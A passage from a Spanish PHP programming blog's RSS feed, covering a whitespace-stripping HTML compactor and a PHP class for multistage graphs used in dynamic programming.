-moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$html</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">,</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'8bit'</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #406080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #200080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold">echo</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'Con los espacios en blanco eliminados, el tamaño del fichero HTML se reduce de '</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">.</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">    </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #400000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">round</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$tamano_antes</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">/</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #008c00; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">1024</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">,</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #008c00; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">2</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">.</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">    </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'KB a '</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">.</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">    </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #400000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">round</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$tamano_despues</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">/</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #008c00; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">1024</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">,</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #008c00; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">2</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">.</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">    </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'KB,ahorramos '</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">.</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #400000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">round</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #008c00; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">1</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">-</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$tamano_despues</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">/</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$tamano_antes</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">*</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #008c00; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">100</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">,</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #008c00; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">2</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">.</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">    </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'%&lt;br /&gt;-----------------&lt;br /&gt;&lt;br /&gt;'</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">.</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">    </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$html</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #406080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #0057a6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">?&gt;</span></pre>
<p>La salida obtenida es:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Con los espacios en blanco eliminados, el tamaño del fichero HTML se reduce de 133.52KB a 111.55KB,ahorramos 16.46%<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>podeis comprobarlo <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Si no teneis acceso afuera desde el servidor por problemas de firewall, podeis guardar la web a mano o con PERL en un fichero y luego abrirla con</p>
<pre style="background: #f6f8ff none repeat scroll 0% 50%; color: #000020; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$html</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">=</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #400000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">file_get_contents</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'p1.html'</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #406080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">;</span></pre>
<p>No necesitamos nada más que obtener la <a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/clases/clase_zen_compactador.php?op=file&amp;rev=0&amp;sc=0">clase</a> desde el <a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/?sc=0">repositorio </a>para hacer la prueba XD</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=64&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_64"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/02/21/primeras-pruebas-con-el-compactador-de-zenphp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Grafos multietapa en zenphp</title>
		<link>http://blog.zenphp.es/2008/01/24/grafos-multietapa-en-php/</link>
		<comments>http://blog.zenphp.es/2008/01/24/grafos-multietapa-en-php/#comments</comments>
		<pubDate>Thu, 24 Jan 2008 10:56:10 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[aplicación]]></category>
		<category><![CDATA[cpu]]></category>
		<category><![CDATA[grafos multietapa]]></category>
		<category><![CDATA[programación dinámica]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/2008/01/24/grafos-multietapa-en-php/</guid>
		<description><![CDATA[Cómo ..¿grafos multietapa?&#8230;¿eso qué es y para qué sirve?
pues resulta que en un grafo multietapa sólo se puede llegar a un punto &#8220;etapa&#8221; desde una etapa anterior, y sólo se puede ir a una etapa posterior&#8230;hasta ahí bien&#8230;pero en la fase final convergen varias líneas!
Repasemos ésta cosa de los estados de una aplicación multiusuario y [...]]]></description>
			<content:encoded><![CDATA[<p>Cómo ..¿<a href="http://euitio178.ccu.uniovi.es/wiki/index.php/TP:Secuencia_%C3%B3ptima_de_decisiones_-_Programaci%C3%B3n_din%C3%A1mica" target="_blank">grafos multietapa</a>?&#8230;¿eso qué es y para qué sirve?<br />
pues resulta que en un grafo multietapa sólo se puede llegar a un punto &#8220;etapa&#8221; desde una etapa anterior, y sólo se puede ir a una etapa posterior&#8230;hasta ahí bien&#8230;pero en la fase final convergen varias líneas!<br />
Repasemos ésta cosa de los estados de una aplicación multiusuario y echemos mano de la memoria&#8230;a ver a qué me suena?,ah si!&#8230;el carro de la compra!&#8230;bueno&#8230;y transacciones, reservas de vuelo, etc. etc.</p>
<p>Al final resulta ser un problema de minimización&#8230;en principio, pero claro, quién nos iba a decir que un problema de Programación Dinámica es rentable en una aplicación de servidor,&#8230;que necesita, precisamente , descargar la CPU a toda costa&#8230;entonces, ésto requiere una reflexión más profunda, dado que no podemos sobrecargar un servidor con cálculos debe existir una solución intermedia para realizar las conexiones entre ,pongamos un ejemplo: unidades y productos&#8230;una conexión es una asignación con máximo beneficio&#8230;¿y qué es el beneficio en una aplicación tipo web?, ésta elección amigos, puede ser la solución al problema&#8230;ya que la matriz que vamos a construir puede llegar a ser muy grande, lo más probable es que desechemos el problema una vez que concluimos la solución&#8230;pero, ¿por qué no es factible? pensándolo bien, realmente no necesitamos llegar a analizar el problema completo&#8230;es decir, podemos cortar el proceso en un punto de la resolución si el tiempo que está llevando a cabo es demasiado y aplicar otro algoritmo con peor solución pero mejor tiempo medio&#8230;o&#8230;podemos calcular las mejores soluciones de los subproblemas y utilizarlas para procesar las peticiones del cliente al servidor&#8230;es decir, realizar las mejores asignaciones por lotes.<br />
Casos de uso: procesamiento de aplicaciones que necesiten comprobar el estado de semáforo <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Veamos una implementación</p>
<p><span id="more-36"></span> &lt;?php</p>
<pre class="java">
<span style="color: darkblue; font-weight: bold"></span><span style="color: darkblue; font-weight: bold">class</span> Grafo <span style="color: black">{</span>
  <span style="color: green">//Representación del grafo en forma de matriz</span></pre>
<pre class="java"><span style="color: green">  /**</span><span style="color: green">
  * @var array
  */</span>
  <span style="color: darkblue; font-weight: bold"></span><span style="color: darkblue; font-weight: bold">var</span> $adjuntos<span style="color: black"> = array()</span><span style="color: black"></span><span style="color: black"></span><span style="color: black"></span>;
<span style="color: green">  /**
  * @var array
  */
</span>  <span style="color: darkblue; font-weight: bold">var</span> $grafo1<span style="color: black"></span><span style="color: black"></span><span style="color: black"></span><span style="color: black"></span> = <span style="color: black">array(</span>
      <span style="color: black">array(</span><span style="color: blue">' '</span>, <span style="color: blue">'S'</span>, <span style="color: blue">'A'</span>, <span style="color: blue">'B'</span>, <span style="color: blue">'C'</span>, <span style="color: blue">'D'</span>, <span style="color: blue">'E'</span>, <span style="color: blue">'F'</span><span style="color: black">),</span>
      <span style="color: black">array(</span><span style="color: blue">'S'</span>, -<span style="color: blue">1</span>, <span style="color: blue">3</span>, <span style="color: blue">5</span>, <span style="color: blue">7</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span><span style="color: black">),</span>
      <span style="color: black">array(</span><span style="color: blue">'A'</span>, <span style="color: blue">3</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, <span style="color: blue">5</span>, <span style="color: blue">6</span>, -<span style="color: blue">1</span><span style="color: black">),</span>
      array(<span style="color: black"></span><span style="color: blue">'B'</span>, <span style="color: blue">5</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, <span style="color: blue">4</span>, <span style="color: blue">8</span>, -<span style="color: blue">1</span><span style="color: black">),</span>
      array(<span style="color: black"></span><span style="color: blue">'C'</span>, <span style="color: blue">7</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, <span style="color: blue">3</span>, <span style="color: blue">6</span>, -<span style="color: blue">1</span><span style="color: black">),</span>
      array(<span style="color: blue">'D'</span>, -<span style="color: blue">1</span>, <span style="color: blue">5</span>, <span style="color: blue">4</span>, <span style="color: blue">3</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, <span style="color: blue">1</span><span style="color: black">),</span>
      array(<span style="color: blue">'E'</span>, -<span style="color: blue">1</span>, <span style="color: blue">6</span>, <span style="color: blue">8</span>, <span style="color: blue">6</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, <span style="color: blue">2</span><span style="color: black">),</span>
      array(<span style="color: black"></span><span style="color: blue">'F'</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, -<span style="color: blue">1</span>, <span style="color: blue">1</span>, <span style="color: blue">2</span>, -<span style="color: blue">1</span><span style="color: black">)</span>
  <span style="color: black">);</span>

  <span style="color: green">//Matriz que cada fila contiene los nodos de una misma etapa</span>
  <span style="color: darkblue; font-weight: bold">var</span> $etapas<span style="color: black"></span><span style="color: black"></span><span style="color: black"></span><span style="color: black"></span> = <span style="color: black">array(</span>
        array(<span style="color: black"></span><span style="color: blue">'S'</span><span style="color: black">)</span> <span style="color: green">//Etapa 0</span>
      , <span style="color: black">array(</span><span style="color: blue">'A'</span>, <span style="color: blue">'B'</span>, <span style="color: blue">'C'</span><span style="color: black">)</span> <span style="color: green">//Etapa 1</span>
      , <span style="color: black">array(</span><span style="color: blue">'D'</span>, <span style="color: blue">'E'</span><span style="color: black">)</span> <span style="color: green">//Etapa 2</span>
      , <span style="color: black">array(</span><span style="color: blue">'F'</span><span style="color: black">)</span> <span style="color: green">//Etapa 3</span>
  <span style="color: black">)</span>;

  <span style="color: green">/**
   * Constructor de la clase
   */</span>
  <span style="color: darkblue; font-weight: bold">function</span> Grafo<span style="color: black">(</span><span style="color: black">)</span> <span style="color: black">{</span>
    <span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span><span style="color: black">adjuntos</span> = <span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>grafo1;
  <span style="color: black">}</span>

  <span style="color: green">/**
   * Método que dada la ETAPA de un nodo devuelve un array con
   * TODOS los nodos
   * que pertenecen a la siguiente etapa.
   *
   * @param etapa int Número de la etapa a al que pertenece el
   * nodo del cual queremos
   * saber qué nodos existen en la etapa siguiente
   * @access public
   * @param int $etapa
   * @return char[] Array con el nombre de los nodos de la etapa posterior
   */</span>
  <span style="color: green">/</span><span style="color: green">/</span><span style="color: darkblue; font-weight: bold"> public</span> <span style="color: green">/</span><span style="color: green">/SINTAXIS PARA PHP5
</span>   <span style="color: darkblue; font-weight: bold">function</span> getNodosSiguentes<span style="color: black">(</span><span style="color: darkblue; font-weight: bold">$etapa</span><span style="color: black">)</span> <span style="color: black">{</span>
    <span style="color: darkblue; font-weight: bold"></span>$index = <span style="color: blue">0</span>;
    <span style="color: darkblue; font-weight: bold"></span>$k = $etapa + <span style="color: blue">1</span>;
<span style="color: green">    //Etapa siguiente, es de la que quiero la lista de nodos</span>
    $nodos<span style="color: black"></span><span style="color: black"></span> = array();

    <span style="color: green">//</span><span style="color: darkblue; font-weight: bold">try</span> <span style="color: black">{ </span><span style="color: green">//Para PHP 5
</span>      <span style="color: green">//Recorro la matriz de etapas en busca del nodo</span>
      <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$i = <span style="color: blue">0</span>; $i &lt; count($etapas)<span style="color: black"></span>; $i++<span style="color: black">)</span> <span style="color: black">{</span>
        <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span>$j = <span style="color: blue">0</span>; $j &lt; count($etapas<span style="color: black">[$</span>k<span style="color: black">])</span><span style="color: black"></span>; $j++<span style="color: black">)</span> <span style="color: black">{</span>
          $nodos<span style="color: black">[$</span>index<span style="color: black">]</span> = $etapas<span style="color: black">[</span>$k<span style="color: black">]</span><span style="color: black">[</span>$j<span style="color: black">]</span>;
          $index++;
        <span style="color: black">}</span>
        <span style="color: darkblue; font-weight: bold">return</span> $nodos;
      <span style="color: black">}</span>

      <span style="color: green">//Si algo rompe lo cazo aqui</span>
  <span style="color: green">//</span>  <span style="color: black">} </span><span style="color: green">//Para PHP 5</span>    <span style="color: darkblue; font-weight: bold">catch</span> <span style="color: black">(</span><a href="http://www.google.com/search?q=allinurl%3AException+PHP+5&amp;bntl=1"><span style="color: darkblue; font-weight: bold">Exception</span></a> $e<span style="color: black">)</span> <span style="color: black">{</span>
<span style="color: green">       //Para PHP 5</span>     <span style="color: darkblue; font-weight: bold">return</span> $e-&gt;getMessage();
   <span style="color: green">//Para PHP 5</span>  <span style="color: black">}</span>

    <span style="color: darkblue; font-weight: bold">return</span> <span style="color: darkblue; font-weight: bold">null</span>;
  <span style="color: black">}</span>

  <span style="color: green">/**
   * Método que dada la ETAPA de un nodo devuelve un array con
   * TODOS los nodos que pertenecen a la anterior etapa.
   *
   * @param etapa int Número de la etapa a al que pertenece el
   * nodo del cual queremos saber qué nodos existen
   * en la etapa anterior
   * @param int $etapa
   * @return Array con el nombre de los nodos de la etapa anterior
   */</span>
  <span style="color: green">/</span><span style="color: green">/</span><span style="color: darkblue; font-weight: bold">public</span> <span style="color: green">/</span><span style="color: green">/Para PHP5</span>
    <span style="color: darkblue; font-weight: bold">function</span> getNodosAnteriores<span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$etapa<span style="color: black">)</span> <span style="color: black">{</span>
    <span style="color: darkblue; font-weight: bold"></span>$index = <span style="color: blue">0</span>;
<span style="color: green">    //Etapa anterior, es de la que quiero la lista de nodos</span>
    <span style="color: darkblue; font-weight: bold"></span>$k = $etapa - <span style="color: blue">1</span>; <span style="color: green"></span>

    $nodos<span style="color: black"></span><span style="color: black"></span> = <span style="color: darkblue; font-weight: bold">array();</span><span style="color: black"></span>

<span style="color: green">    //</span><span style="color: darkblue; font-weight: bold">try</span> <span style="color: black">{ </span><span style="color: green">//Para PHP5 quitar comentario al inicio
</span>      <span style="color: green">//Recorro la matriz de etapas en busca del nodo</span>
      <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$i = <span style="color: blue">0</span>; $i &lt; count($etapas)<span style="color: black"></span>; $i++<span style="color: black">)</span> <span style="color: black">{</span>
        <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$j = <span style="color: blue">0</span>; $j &lt; count($etapas<span style="color: black">[</span>$k<span style="color: black"></span><span style="color: black">])</span>; $j++<span style="color: black">)</span> <span style="color: black">{</span>
          $nodos<span style="color: black">[$</span>index<span style="color: black">]</span> = $etapas<span style="color: black">[$</span>k<span style="color: black">]</span><span style="color: black">[$</span>j<span style="color: black">]</span>;
          $index++;
        <span style="color: black">}</span>
        <span style="color: darkblue; font-weight: bold">return</span> $nodos;
      <span style="color: black">}</span>

      <span style="color: green">//Si algo rompe lo cazo aqui</span>
    <span style="color: green">//</span><span style="color: black">}</span>  <span style="color: darkblue; font-weight: bold">catch</span> <span style="color: black">(</span><a href="http://www.google.com/search?q=allinurl%3AException+java.sun.com&amp;bntl=1"><span style="color: darkblue; font-weight: bold">Exception</span></a> $e<span style="color: black">)</span> <span style="color: black">{ </span><span style="color: green">//</span><span style="color: green">PARA PHP5</span>  <span style="color: darkblue; font-weight: bold">return</span> $e-&gt;getMessage(); <span style="color: black">}</span>

    <span style="color: darkblue; font-weight: bold">return</span> <span style="color: darkblue; font-weight: bold">null</span>;
  <span style="color: black">}</span>
<span style="color: green">
  /**
  * @param str $origen
  * @param str $destino
  * @return int
  */</span>
  <span style="color: darkblue; font-weight: bold">function</span> <span style="color: darkblue; font-weight: bold"></span>getPeso<span style="color: black">(</span>$origen, $destino<span style="color: black">)</span> <span style="color: black">{</span>
    <span style="color: darkblue; font-weight: bold"></span>$columna = -<span style="color: blue">1</span>;
    <span style="color: darkblue; font-weight: bold"></span>$fila = -<span style="color: blue">1</span>;
    <span style="color: green">//busco el oriegen en la matriz columna 0 y el destino en la fila 0</span>

    <span style="color: green">//Busco la columna del origen:</span>
    <span style="color: darkblue; font-weight: bold">for</span> <span style="color: black">(</span><span style="color: darkblue; font-weight: bold"></span>$i = <span style="color: blue">0</span>; $i &lt; count(<span style="color: black"></span><span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>adjuntos)<span style="color: black"></span>; $i++<span style="color: black">)</span> <span style="color: black">{</span>

      <span style="color: green">//Si encuentro el origen en la column, busco el destino</span>
      <span style="color: darkblue; font-weight: bold">if</span> <span style="color: black">(</span><span style="color: black"></span><span style="color: darkblue; font-weight: bold">$this</span>-&gt;<span style="color: black"></span>adjuntos<span style="color: black">[</span>$i<span style="color: black">]</span><span style="color: black">[</span><span style="color: blue">0</span><span style="color: black">]</span> == $origen<span style="color: black">)</span> <span style="color: black">{</span>
        $columna = $i;
        <span style="color: darkblue; font-weight: bold">break</span>;
      <span style="color: black">}</span>
    <span style="color: black">}</span>

    <span style="color: green">//Busco la fila del destino:</span>
